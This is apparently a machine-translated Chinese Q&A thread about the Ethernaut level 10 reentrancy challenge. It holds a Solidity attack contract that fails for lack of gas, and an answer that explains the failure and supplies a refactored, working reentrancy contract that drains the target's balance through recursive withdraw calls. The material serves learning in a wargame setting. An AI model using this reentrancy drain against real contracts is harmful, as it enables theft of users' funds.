Solidity
沒有氣體ethernaut lvl 10 - 重入
我正在嘗試解決 Ethernaut 10 級重入任務,但我遇到了“氣體不足”錯誤。
https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D
這是我用於攻擊的契約:
contract attack { Reentrance originalContract = Reentrance(0xf678057EB5c513313353543b44011c1fe5eecb66); uint public amount = 0.0001 ether; constructor() public payable { } function donateToSelf() public { originalContract.donate{value: amount, gas: 400000}(address(this)); } function start() public { originalContract.withdraw{gas: 400000}(amount); } receive() external payable { if (address(originalContract).balance != 0 ) { originalContract.withdraw{gas: 400000}(amount); } } }
我在部署合約時提供 0.0001 乙太幣,然後呼叫 donateToSelf 然後 start()
那麼我做錯了什麼?撤回函式中的呼叫方法沒有gas限制,為什麼交易會恢復?我也嘗試不從我的程式碼中指定氣體,但同樣的事情發生了
問題是你的
amount
是0.0001
乙太幣,Reentrancy
合約餘額是0.001
乙太幣,你發送後0.0001
就是乙太幣0.0011
。因此,您的攻擊需要進行 11 次遞歸呼叫才能耗盡合約中的0.0011
餘額Reentrance
,這就是導致 gas 耗盡的原因。在這種情況下,您的金額必須是
0.001
,因此當您將其發送到它將擁有的合約0.002
時,當您攻擊它時0.001
,您只需要 2 次遞歸呼叫即可耗盡所有餘額。因此,無論何時您要攻擊具有可重入性的合約,您都需要能夠動態設置請求的數量,以便您可以隨時更改它並以最少遞歸呼叫的方式對其進行調整,以防止退出氣體異常。
此外,在您的
receive
函式中,您可以檢查契約餘額是否>=
為您當時嘗試獲得的金額:receive() external payable { if (address(originalContract).balance >= amount) { originalContract.withdraw{gas: 400000}(amount); } }
因為
Reentrance
合約餘額可能非常小,!= 0
如果您嘗試提取的金額也很小,那麼這樣做是個壞主意,因為您可能有很多遞歸呼叫。所以,重構看起來像這樣:
contract attack { Reentrance originalContract = Reentrance(payable(0x6Aa566045dE5B3104c082853a1E2E4A3aFbABA06)); uint public amount = 0.001 ether; constructor() payable { } function donateToSelf() public { originalContract.donate{value: amount, gas: 400000}(address(this)); } // You should be able to ajust the amount dynamically function setAmount(uint256 _amount) public { amount = _amount; } function start() public { originalContract.withdraw{gas: 400000}(amount); } receive() external payable { // Better check that the balance >= amount if (address(originalContract).balance >= amount) { originalContract.withdraw{gas: 400000}(amount); } } }